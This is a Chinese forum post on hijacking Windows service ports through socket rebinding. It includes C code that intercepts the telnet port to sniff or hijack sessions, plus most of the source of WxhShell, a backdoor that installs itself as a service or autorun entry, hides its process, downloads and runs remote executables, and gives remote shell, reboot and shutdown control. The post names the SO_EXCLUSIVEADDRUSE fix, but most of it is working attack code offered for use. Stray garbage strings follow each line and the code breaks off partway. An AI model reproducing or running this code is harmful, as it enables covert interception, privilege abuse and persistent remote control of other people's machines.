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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: B|"-Ed  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \30rF]F`l  
d"tR ?j  
  saddr.sin_family = AF_INET; z?@N+||,.  
=gB8(1g8  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); kEp{L  
:Y|[?;  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); <1#hX(Q  
S%j W} v';  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 )b1X6w[  
)nGH$Mu  
  这意味着什么?意味着可以进行如下的攻击: w*]FJ-b<.j  
nkzH}F=<  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 7&dK_x,a  
,n2"N5{jw  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) \&l@rMD3s  
n]6-`fpD  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ?G<ISiABQC  
1ASoH,D/  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  dQz#&&s-  
kA> e*6  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 1aZGt2;  
^#XQ2UN  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 kE:{#>[Uz  
' &3,qT  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 >?#zPweA  
p1\mjM  
  #include Bg] %  
  #include "lrQC`?  
  #include "jLC!h^N  
  #include    8rjD1<  
  DWORD WINAPI ClientThread(LPVOID lpParam);   sm;kg=  
  int main() |+KwyHE`9  
  { i5=~tS  
  WORD wVersionRequested; {5fL!`6w  
  DWORD ret; do*aE  
  WSADATA wsaData; -$X4RS  
  BOOL val; ! >V)x  
  SOCKADDR_IN saddr; M[+#*f.T}  
  SOCKADDR_IN scaddr;  fZ&' _  
  int err; ^KnK \  
  SOCKET s; 4obW>  
  SOCKET sc; > <Zu+HX  
  int caddsize; dq`{fqGl  
  HANDLE mt; z#ki# o  
  DWORD tid;   1DhC,)+D}q  
  wVersionRequested = MAKEWORD( 2, 2 ); K5|~iW'  
  err = WSAStartup( wVersionRequested, &wsaData ); P"l'? `  
  if ( err != 0 ) { $A-X3d;'\/  
  printf("error!WSAStartup failed!\n"); #{{p4/:  
  return -1; Q$:Q6 /5.  
  } fK+ 5   
  saddr.sin_family = AF_INET; >X eXd{$  
   '?mF,C o{  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 M?UUT8,  
5h`LWA B  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); fZ5 UFq_~s  
  saddr.sin_port = htons(23); zfv@<'  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "C\yM{JZ  
  { e\ cyiW0  
  printf("error!socket failed!\n"); %),u0:go  
  return -1; *jbPy?%oY  
  } A8{ xZsH  
  val = TRUE; kx?Yin8K  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 (lVMy\  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 1=C12  
  { p\&/m  
  printf("error!setsockopt failed!\n"); ThgJ '  
  return -1; Wp8>Gfb2  
  } "q+Z*   
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 3CjixXaA$  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 $zp|()_  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 H.4ISmXU  
1xd6p  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) R|M]mwa^w  
  { \ *[Ht!y  
  ret=GetLastError(); J ( d[05x0  
  printf("error!bind failed!\n"); ; Z7!BU  
  return -1; t^"8M6BqC;  
  } c{I]!y^!  
  listen(s,2); f^B'BioW(  
  while(1) \f? K74  
  { .=J- !{z  
  caddsize = sizeof(scaddr); >pLJ ,Z  
  //接受连接请求 _$c o Y  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); l3>e-kP  
  if(sc!=INVALID_SOCKET) )5~T%_  
  { ~LpkA`Hn!  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 5)T[ha77u  
  if(mt==NULL) f0sLe 3  
  { t e-xhJ&K  
  printf("Thread Creat Failed!\n"); ygIn6.p  
  break; Z/G#3-5)p  
  } %'s_ =r`  
  } (KyOo,a  
  CloseHandle(mt);  yP+<kv4  
  } ;!S5P(  
  closesocket(s); 1bQO:n):~  
  WSACleanup(); &lSNI5l  
  return 0; ydYsmTr  
  }   0H>gMXWE]  
  DWORD WINAPI ClientThread(LPVOID lpParam) GJcxqgk$  
  { ,zM@)Q ;9  
  SOCKET ss = (SOCKET)lpParam; j}//e%$a  
  SOCKET sc; V sl,u  
  unsigned char buf[4096]; SgewAng?@o  
  SOCKADDR_IN saddr; L}rZ1wV6  
  long num; SkmTW@v  
  DWORD val; iZy>V$Aq  
  DWORD ret;  d=^QK{8  
  //如果是隐藏端口应用的话,可以在此处加一些判断 TS|Bz2(  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   _-y1>{]H  
  saddr.sin_family = AF_INET; XN Uw  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 7yyX8p>  
  saddr.sin_port = htons(23); bpZA% {GS  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) S!u8JG1  
  { T(x@ gwc  
  printf("error!socket failed!\n"); w6!97x  
  return -1; GD.Ss9_h1  
  } MZQDFuvDxZ  
  val = 100; OJa(Gds  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) LEPLoF3,  
  { 46D`h!7L  
  ret = GetLastError(); Vq]ixag2^  
  return -1; uOzoE_i  
  } IxuK<Oe:O  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Xrb7.Y0d  
  { 85G-`T  
  ret = GetLastError(); ?ld&}|W~  
  return -1; L#K`F8Wi=  
  } /_m )D;!y  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 41Q 5%2  
  { Oe\(=R  
  printf("error!socket connect failed!\n"); ?HPAX  
  closesocket(sc); EB!ne)X  
  closesocket(ss); ^4 $4x  
  return -1; *`"+J_   
  } T>% 5<P  
  while(1) q,)V0Ffe[|  
  { _"Bj`5S  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 1i$VX|r  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 $T3_~7N  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 8Y`g$2SZ^8  
  num = recv(ss,buf,4096,0); 8&8!(\xv  
  if(num>0) i,ZEUdd*_  
  send(sc,buf,num,0); b/a\{  
  else if(num==0) i!}k5k*Z  
  break; j3 6Y Iz$a  
  num = recv(sc,buf,4096,0); FulFEnSV  
  if(num>0) nC,QvV  
  send(ss,buf,num,0); 7oF3^K'S  
  else if(num==0) 'u v=D  
  break; /5Qh*.(S  
  } W !j-/ql  
  closesocket(ss); n-8/CBEH(  
  closesocket(sc); @ywtL8"1~  
  return 0 ; /gF)msUF  
  } Lp:VU-S  
! 1I# L!9  
wJ2cAX;"  
========================================================== QGfwvFm  
1z7+:~;l  
下边附上一个代码,,WXhSHELL X <8|uP4  
~xxq.rL"  
========================================================== B,%6sa~I  
6 agG*x  
#include "stdafx.h" ,e'm@d$Q*  
~*1>)P8]#  
#include <stdio.h> PI%l  
#include <string.h> ^AU-hVj  
#include <windows.h>  >I4BysR  
#include <winsock2.h> kl:/PM^  
#include <winsvc.h> 8[J%TWq%9  
#include <urlmon.h> 3>VL>;75[  
4dFr~ {  
#pragma comment (lib, "Ws2_32.lib") ?aTH<  
#pragma comment (lib, "urlmon.lib") Mu`_^gG  
Yf9E0po  
#define MAX_USER   100 // 最大客户端连接数 1W >/4l  
#define BUF_SOCK   200 // sock buffer aPxSC>p  
#define KEY_BUFF   255 // 输入 buffer C2rG3X^~Jm  
:MF`q.:X  
#define REBOOT     0   // 重启 E va&/o?P|  
#define SHUTDOWN   1   // 关机 ib(|}7Je  
gWU#NRRc  
#define DEF_PORT   5000 // 监听端口 iSf%N>y'K  
ru`7iqcz  
#define REG_LEN     16   // 注册表键长度 Fu{VO~w  
#define SVC_LEN     80   // NT服务名长度 axC{azo|  
*c4OhMU(  
// 从dll定义API gnN>Rl 5_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); cu}(\a  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]g$ky.;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); A7Y CSjB  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); g0biw?  
aK6dy\  
// wxhshell配置信息 A*0X ~6W  
struct WSCFG { /'{vDxZf R  
  int ws_port;         // 监听端口 qmpT G:+  
  char ws_passstr[REG_LEN]; // 口令 *sp")h#Z  
  int ws_autoins;       // 安装标记, 1=yes 0=no L>/$l(  
  char ws_regname[REG_LEN]; // 注册表键名 m $[:J  
  char ws_svcname[REG_LEN]; // 服务名 >yn?@ve@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2d|^$$#`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :1f,%Z$,q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 O2Y|<m  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]E"J^mflGK  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" n+=7u[AZi  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [r 7Hcb  
.=}\yYGe   
}; uYs45 G  
oD2! [&  
// default Wxhshell configuration dAG@'A\f  
struct WSCFG wscfg={DEF_PORT, _^{RtP#=  
    "xuhuanlingzhe", 9mtndTT 5u  
    1, $U ._4  
    "Wxhshell", ]{i0?c  
    "Wxhshell", FB?V<x  
            "WxhShell Service", &0* l:uw  
    "Wrsky Windows CmdShell Service", ![{/V,V]~  
    "Please Input Your Password: ", Ye|gW=FUR  
  1, s +S6'g--  
  "http://www.wrsky.com/wxhshell.exe", dh{py  
  "Wxhshell.exe" ' $yy  
    }; A-vYy1,'  
D{8B;+  
// 消息定义模块 hQ:wW}HWW  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; L6qK3xa}  
char *msg_ws_prompt="\n\r? for help\n\r#>"; OFv-bb*YZ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; A ][ ;v  
char *msg_ws_ext="\n\rExit."; -2laM9Ed  
char *msg_ws_end="\n\rQuit."; -k>k<bDAI  
char *msg_ws_boot="\n\rReboot..."; 9gK1Gx:  
char *msg_ws_poff="\n\rShutdown..."; - ]We|{  
char *msg_ws_down="\n\rSave to "; @ajdO/?(Y  
WM$Z?CN%KB  
char *msg_ws_err="\n\rErr!"; ]EN&EA"<  
char *msg_ws_ok="\n\rOK!"; CO ZfR~}  
hms Aim9i  
char ExeFile[MAX_PATH]; ~PpU'[  
int nUser = 0; hn6'$P  
HANDLE handles[MAX_USER]; *mn9CVZ(}M  
int OsIsNt; Lo[;{A$u  
}7%ol&<@  
SERVICE_STATUS       serviceStatus; A&KY7[<AC{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9*"K+t:  
RAEN  &M  
// 函数声明 +N~{6*@uz,  
int Install(void); .aK=z)  
int Uninstall(void); G'HLnx}Yi  
int DownloadFile(char *sURL, SOCKET wsh); 3uvl'1(%J  
int Boot(int flag); Iw$T'I+4W  
void HideProc(void); +K=RMqM-8  
int GetOsVer(void); CpgaQG^  
int Wxhshell(SOCKET wsl); P4MP`A  
void TalkWithClient(void *cs); w3>G3=b  
int CmdShell(SOCKET sock); ;%>X+/.y0  
int StartFromService(void); V z5<Gr  
int StartWxhshell(LPSTR lpCmdLine); ]/R>nT  
_ -ec(w~/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =/xXB  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~Ty6]A  
h^ K>(x  
// 数据结构和表定义 lm'.G99{  
SERVICE_TABLE_ENTRY DispatchTable[] = m1p% ,  
{ cwUor}<|  
{wscfg.ws_svcname, NTServiceMain}, zlh\P`  
{NULL, NULL} .lc gM  
}; brn>FFAwO  
}u5J<*:bZ  
// 自我安装 ~vR<UQz  
int Install(void) LR17ilaa'  
{ 5'0kf7  
  char svExeFile[MAX_PATH]; i079 V  
  HKEY key; 1@<>GDB9  
  strcpy(svExeFile,ExeFile); Y}x_ud,  
WN#dR~>  
// 如果是win9x系统,修改注册表设为自启动 OBPiLCq  
if(!OsIsNt) { 0g@*N4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0`WZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PzLV}   
  RegCloseKey(key); C2%Yry  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KEr?&e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7aN oqS+  
  RegCloseKey(key); lU3Xd_v O  
  return 0; *-_joAWTG  
    } rmnnV[@o  
  } ,!^w  
} ~HgN'#Y?  
else { odq3@ ziO  
e}"k8 ./  
// 如果是NT以上系统,安装为系统服务 [WunA,IuR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); iw EHEi%  
if (schSCManager!=0) M$LzV}k  
{ YWa9|&m1  
  SC_HANDLE schService = CreateService i0&] Ig|;  
  ( }Qvoms<k  
  schSCManager, E{|n\|  
  wscfg.ws_svcname, qv+}|+aL:  
  wscfg.ws_svcdisp, 0EP8MRSR  
  SERVICE_ALL_ACCESS, j: B,K.:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @Cd}1OT)  
  SERVICE_AUTO_START, ?B,B<@='%  
  SERVICE_ERROR_NORMAL, %^8>=  
  svExeFile, `r8bBzr@%  
  NULL, 5'O.l$)y  
  NULL, \A3yM{G~+  
  NULL, r;aP`MVO<  
  NULL, JYWc3o6  
  NULL S1n 'r}z8  
  ); +^.Q%b0Xx  
  if (schService!=0) h!>NS ?X7  
  { j2|!h%{nI  
  CloseServiceHandle(schService); Aonq;} V e  
  CloseServiceHandle(schSCManager); } "ts  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); RJI*ZNb A  
  strcat(svExeFile,wscfg.ws_svcname); 0=J69Yd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0CO6-&F9n  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0H{0aQQ  
  RegCloseKey(key); ?|9$o/Q}  
  return 0; EMejvPnZO  
    } ~d?\rj3=  
  } eL!G, W  
  CloseServiceHandle(schSCManager); _j2h3lCT  
} I2=Kq{  
} Wh> Y_ k  
.el_pg  
return 1; WH$ Ls('  
} Pjff%r^  
way-Q7  
// 自我卸载 Fw5r\J87c  
int Uninstall(void) 2={ g'k(  
{ Lsozl<@  
  HKEY key; w65 $ R  
#B)`dA0a  
if(!OsIsNt) { @*O(dw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P5P<-T{-c  
  RegDeleteValue(key,wscfg.ws_regname); g%<7Px[W  
  RegCloseKey(key); KXFa<^\o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0\U28zbMJw  
  RegDeleteValue(key,wscfg.ws_regname); afc?a-~Z  
  RegCloseKey(key); 9aC>gye!  
  return 0; vP'R7r2Yx  
  } h OboM3_  
} uyG4zV\h*  
} (<.1o_Q-LU  
else { %]Nz54!  
+o/;bm*U<K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %3VwCuE  
if (schSCManager!=0) TniZ!ud  
{ ~ab"q %  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); tY :-13F  
  if (schService!=0) <ZrZSt+<  
  { ^?xXP=/  
  if(DeleteService(schService)!=0) { g%=\Wiit]  
  CloseServiceHandle(schService); nhCB ])u8l  
  CloseServiceHandle(schSCManager); +TAm9eDNV  
  return 0; m9xu$z| e  
  } ccm <rZ7  
  CloseServiceHandle(schService); I( y Wct  
  } $C)@GGY  
  CloseServiceHandle(schSCManager); +ic~Sar  
} FJL9x,%6  
} f (n{7  
#lLL5ji  
return 1; {Ue6DK %  
} PUYo >eB)0  
kkOYC?zE?  
// 从指定url下载文件 P7y[9|^  
int DownloadFile(char *sURL, SOCKET wsh) W'0wTZG  
{ 6 3u'-Z"4  
  HRESULT hr; \AK|~:\]  
char seps[]= "/"; *,n7&  
char *token; t=e0z^2i+  
char *file; x)* /3[  
char myURL[MAX_PATH]; Om1z  
char myFILE[MAX_PATH];  +NXj/  
YHRI UY d  
strcpy(myURL,sURL); O@=mN*<gg0  
  token=strtok(myURL,seps); 1VZ>*Tl  
  while(token!=NULL) }.gg!V'9w  
  { Dps{[3Y+  
    file=token; J/=A f [  
  token=strtok(NULL,seps); $cy:G  
  } X%F9.<4  
q-3KF  
GetCurrentDirectory(MAX_PATH,myFILE); IIR?@/q  
strcat(myFILE, "\\"); 4*,q 1yK  
strcat(myFILE, file); 88*RlxU  
  send(wsh,myFILE,strlen(myFILE),0); 'OihA^e  
send(wsh,"...",3,0); aKUr":z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); uE|[7,D7;u  
  if(hr==S_OK) :cEe4a  
return 0; y^Jv?`jw  
else zs:7!  
return 1; wg.fo:Q  
@b{u/:y  
} \KXEw2S  
Z+W&C@Uw  
// 系统电源模块 O*{H;7Pv  
int Boot(int flag) (NC>[  
{ #jx?uS  
  HANDLE hToken; JJ0 CM:xe  
  TOKEN_PRIVILEGES tkp; J-<B*ot+lX  
XL=R]IC<.  
  if(OsIsNt) { %pkq ?9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h}>/Z3*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); AS_+}*WSFQ  
    tkp.PrivilegeCount = 1; faOWhIG  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &:#8ol(n5b  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "4hpU]4j  
if(flag==REBOOT) { C(HmLEB^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5@ +Ei25  
  return 0; o'C.,ic?C  
} J8BT%  
else { KBq aI((  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) e@-Mlq)  
  return 0; $jh>zf  
} vW-`=30  
  } "HfU,$[  
  else { _xg VuJ   
if(flag==REBOOT) { 7jH`_58  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) s8d}HI  
  return 0; z12But\<  
} eoe^t:5&  
else { /+t[,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) LsQ8sFP_"  
  return 0; c_bVF 'Bz  
} }R&5qpl  
} J-\?,4mcP  
%SO%{.}Z f  
return 1; _d| 62VS  
} u 1{ym_  
5J+V:Xu{  
// win9x进程隐藏模块 [&qbc#L  
void HideProc(void) /Ej]X`F  
{ G P[r^Z  
<j 9Mt=8M  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^_KD&%M6  
  if ( hKernel != NULL ) Kxl,] |e>  
  { rt^45~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ryq"\Q>+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 90qj6.SQ  
    FreeLibrary(hKernel); u[i7:V%  
  } xOL)Pjo /m  
?5yH'9zE  
return; "?SOBA!vy  
} KHlIK`r  
G4`Ut1g ^  
// 获取操作系统版本 (HaKF7Jsi  
int GetOsVer(void) N8XC~Dh{  
{ 80$0zbw$  
  OSVERSIONINFO winfo; W>0"CUp  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @v ~ Pwr!  
  GetVersionEx(&winfo); 2b#(X'ob  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0Ox|^V  
  return 1; >WGP{  
  else P*SCHe'  
  return 0; /:y2Up-  
} >Qm<-g  
!)%>AH'  
// 客户端句柄模块 *vRI)>wU  
int Wxhshell(SOCKET wsl) ?]W~ qgA  
{ )8$:DW;  
  SOCKET wsh; ~#x :z ^U  
  struct sockaddr_in client; 8Z dUPW\e  
  DWORD myID; fK'.wX9  
om}/f`  
  while(nUser<MAX_USER) Ns2,hQFc  
{ 9fNu?dE   
  int nSize=sizeof(client); |"R_-U  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "]T$\PJun  
  if(wsh==INVALID_SOCKET) return 1; ={`CH CI  
4bi NGl~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); KZF0rW  
if(handles[nUser]==0) ^qeY9O  
  closesocket(wsh); 2~!R*i  
else ufw3H9F(O  
  nUser++; <&5m N  
  } .hX0c"f]b  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^kn ^CI6  
vZ$U^>":  
  return 0; <vB<`   
} pb^,Qvnp   
wjTNO0hj  
// 关闭 socket <nWKR,  
void CloseIt(SOCKET wsh) uf)W-Er6~  
{ +Edzjf~Tt  
closesocket(wsh); p$Kj<:qiP  
nUser--; ~:>AR` 9G  
ExitThread(0); /!3ZWXY\  
} :dP~.ZY7  
e74zR6  
// 客户端请求句柄 _eJXi,  
void TalkWithClient(void *cs) 0K<x=-cCB  
{ "h=6Q+Ze  
Y1{B c<tC  
  SOCKET wsh=(SOCKET)cs; DY9fF4[9a  
  char pwd[SVC_LEN]; 6HoqEku/Q  
  char cmd[KEY_BUFF]; Q}kfM^i  
char chr[1]; ^Q0&.hL@  
int i,j; X ZS5B~E '  
AL$W+')  
  while (nUser < MAX_USER) { *AZ?~ i^o  
s%~L4Wmcq  
if(wscfg.ws_passstr) { dY}pN"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H@{Objh 1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '\`6ot8  
  //ZeroMemory(pwd,KEY_BUFF); ![ZmV  
      i=0; '>@4(=I  
  while(i<SVC_LEN) { #G_F`&  
z3a-+NjDm  
  // 设置超时 OifvUTl9b  
  fd_set FdRead; BQ#3QL't  
  struct timeval TimeOut; nnNv0 ?>d(  
  FD_ZERO(&FdRead); 79ckLd9  
  FD_SET(wsh,&FdRead); [*8Y'KX <  
  TimeOut.tv_sec=8; +$47v$p  
  TimeOut.tv_usec=0; Cq>6rn  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0DNU,u  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n@!wp/J,  
xCWz\-;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J~KX|QY.S  
  pwd=chr[0]; brh=NAzt  
  if(chr[0]==0xd || chr[0]==0xa) { ?  -3\  
  pwd=0; G?`-]FMO  
  break; 4KXc~eF[M"  
  } @x1 %)1  
  i++; - v]Qhf&>  
    } >"v9iT  
3JO]f5  
  // 如果是非法用户,关闭 socket  ?CP2AK  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]f8L:=c  
} %@?A_jS  
3J~0O2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); VWx]1\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gl{B=NN  
hmpr%(c`  
while(1) { d"E^SBO&  
+m)q%I>  
  ZeroMemory(cmd,KEY_BUFF); 1@>$ Gcc  
Ooc\1lX  
      // 自动支持客户端 telnet标准   l30Y8t~d  
  j=0; Apj;  
  while(j<KEY_BUFF) { X|}2_B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3BdX  
  cmd[j]=chr[0]; B4h5[fPX  
  if(chr[0]==0xa || chr[0]==0xd) { ?Q0I'RC  
  cmd[j]=0; ;f1qLI  
  break; j+rG7z){K  
  } h!gk s-0  
  j++; DF_X  
    } PL X>-7@  
]fBUT6  
  // 下载文件 }}&#|)Yq  
  if(strstr(cmd,"http://")) { piy`zc- yu  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); up>c$jJ  
  if(DownloadFile(cmd,wsh)) Hc^W%t~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #P<N^[m  
  else IQZ#-)[T"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n_?tN\M  
  } 6eFp8bANN#  
  else { e:'?*BYVg3  
5 Xn.CBd]  
    switch(cmd[0]) { H@bf'guA|B  
  T*g:# ^4  
  // 帮助 >-8cU_m7s  
  case '?': { ",6M)3{|c  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -m *Sq  
    break; FMA6_fju4  
  } \K`L3*cBKK  
  // 安装 0:w"M<80  
  case 'i': { SZaS;hhhHu  
    if(Install()) 3?2 FP|G8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |L2SFB?d=  
    else ,XDRO./+T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &xRo^iV?  
    break; ls@i".[  
    } '3zc|eJt&  
  // 卸载 )nL`H^  
  case 'r': { OnQdq^UB  
    if(Uninstall()) ~ab:/!Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hxQqa 0B  
    else q`-;AG|xF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n]E?3UGD@W  
    break; -py@DzK  
    } _ODbY;M  
  // 显示 wxhshell 所在路径 '%q$` KDb  
  case 'p': { o2<#s)GpY  
    char svExeFile[MAX_PATH]; wgCa58H76  
    strcpy(svExeFile,"\n\r"); 0lhVqy}:}o  
      strcat(svExeFile,ExeFile); D$t k<{)oB  
        send(wsh,svExeFile,strlen(svExeFile),0); :Nofp&  
    break; 9eH$XYy  
    } _/i4MtM  
  // 重启 E? _Z`*h  
  case 'b': { dCRyOid$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~l)-wNqR4r  
    if(Boot(REBOOT)) Q ]}Hd-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #B4%|v;`E?  
    else { EK4d_L]I  
    closesocket(wsh); :Nz9xD$S5  
    ExitThread(0); z CvKDlL  
    } y3fGWa*7e  
    break; O#F4WWF  
    } @nux9MX<9  
  // 关机 -3Hy*1A.  
  case 'd': { ;qm D50:%  
